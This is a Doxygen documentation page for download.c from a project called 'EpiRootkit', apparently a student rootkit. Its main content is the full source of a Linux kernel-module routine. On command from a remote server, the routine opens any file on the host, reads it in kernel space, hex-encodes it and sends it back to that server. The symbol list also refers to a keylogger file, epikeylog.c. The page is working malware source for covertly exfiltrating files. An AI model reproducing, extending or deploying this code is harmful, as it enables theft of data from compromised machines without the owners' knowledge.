EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
download.c
Go to the documentation of this file.
1#include "download.h"
2
3#include "epirootkit.h"
4#include "io.h"
5#include "network.h"
6
7static bool sending_file = false;
8static char *download_buffer = NULL;
9static long download_size = 0;
10
11bool is_downloading(void) {
12 return sending_file;
13}
14
16 DBG_MSG("reset_download_state: cleaning up memory\n");
18 vfree(download_buffer);
19 download_buffer = NULL;
20 download_size = 0;
21 sending_file = false;
22}
23
24int download_handler(char *args, enum Protocol protocol) {
25 if (protocol != TCP) {
26 DBG_MSG("download_handler: warning, protocol is not TCP\n");
27 }
28
29 if (!args || !*args) {
30 DBG_MSG("download_handler: missing file path argument\n");
31 send_to_server(protocol, "Usage: download <path>\n");
32 return -EINVAL;
33 }
34
35 DBG_MSG("download_handler: attempting to open file: %s\n", args);
36 struct file *filp = filp_open(args, O_RDONLY, 0);
37 if (IS_ERR(filp)) {
38 ERR_MSG("download_handler: failed to open file %s\n", args);
39 send_to_server(protocol, "Failed to open file.\n");
40 return PTR_ERR(filp);
41 }
42
43 loff_t pos = 0;
44 int size = i_size_read(file_inode(filp));
45 DBG_MSG("download_handler: file size is %d\n", size);
46
47 if (size <= 0) {
48 filp_close(filp, NULL);
49 DBG_MSG("download_handler: file is empty or unreadable\n");
50 send_to_server(protocol, "File is empty or unreadable.\n");
51 return -EINVAL;
52 }
53
54 char *buffer = vmalloc(size);
55 if (!buffer) {
56 filp_close(filp, NULL);
57 ERR_MSG("download_handler: memory allocation failed\n");
58 send_to_server(protocol, "Insufficient memory.\n");
59 return -ENOMEM;
60 }
61
62 int read_bytes = kernel_read(filp, buffer, size, &pos);
63 filp_close(filp, NULL);
64
65 if (read_bytes != size) {
66 ERR_MSG("download_handler: read error (%d / %d)\n", read_bytes, size);
67 vfree(buffer);
68 send_to_server(protocol, "Error reading file.\n");
69 return -EIO;
70 }
71
72 download_buffer = buffer;
73 download_size = size;
74 sending_file = true;
75
76 DBG_MSG("download_handler: file read successfully (%d bytes)\n", size);
77
78 char size_msg[64];
79 snprintf(size_msg, sizeof(size_msg), "SIZE %ld\n", download_size);
80 send_to_server(protocol, size_msg);
81
82 DBG_MSG("download_handler: waiting for READY before sending file\n");
83 return 0;
84}
85
86int download(const char *command) {
87 if (sending_file && strncmp(command, "READY", 5) == 0) {
88 DBG_MSG("download: received READY, starting file transfer (%ld bytes)\n",
90
91 // Hexify download buffer
92 long hex_size = download_size * 2;
93 char *hex_buffer = vmalloc(hex_size + 1);
94 if (!hex_buffer) {
95 ERR_MSG("download: failed to allocate hex buffer\n");
97 return -ENOMEM;
98 }
99
100 for (long i = 0; i < download_size; ++i) {
101 snprintf(hex_buffer + (i * 2), 3, "%02x",
102 (unsigned char)download_buffer[i]);
103 }
104
105 int ret = send_to_server_raw(hex_buffer, hex_size);
106 if (ret < 0) {
107 ERR_MSG("download: failed to send file\n");
108 }
109
110 vfree(hex_buffer);
112 return 0;
113 }
114
115 DBG_MSG("download: command ignored or not in transfer mode\n");
116 return -1;
117}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
Protocol
Definition config.h:28
@ TCP
Definition config.h:29
static bool sending_file
Definition download.c:7
static char * download_buffer
Definition download.c:8
int download_handler(char *args, enum Protocol protocol)
Definition download.c:24
void reset_download_state(void)
Definition download.c:15
static long download_size
Definition download.c:9
bool is_downloading(void)
Definition download.c:11
static struct dentry * file
Definition epikeylog.c:145
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123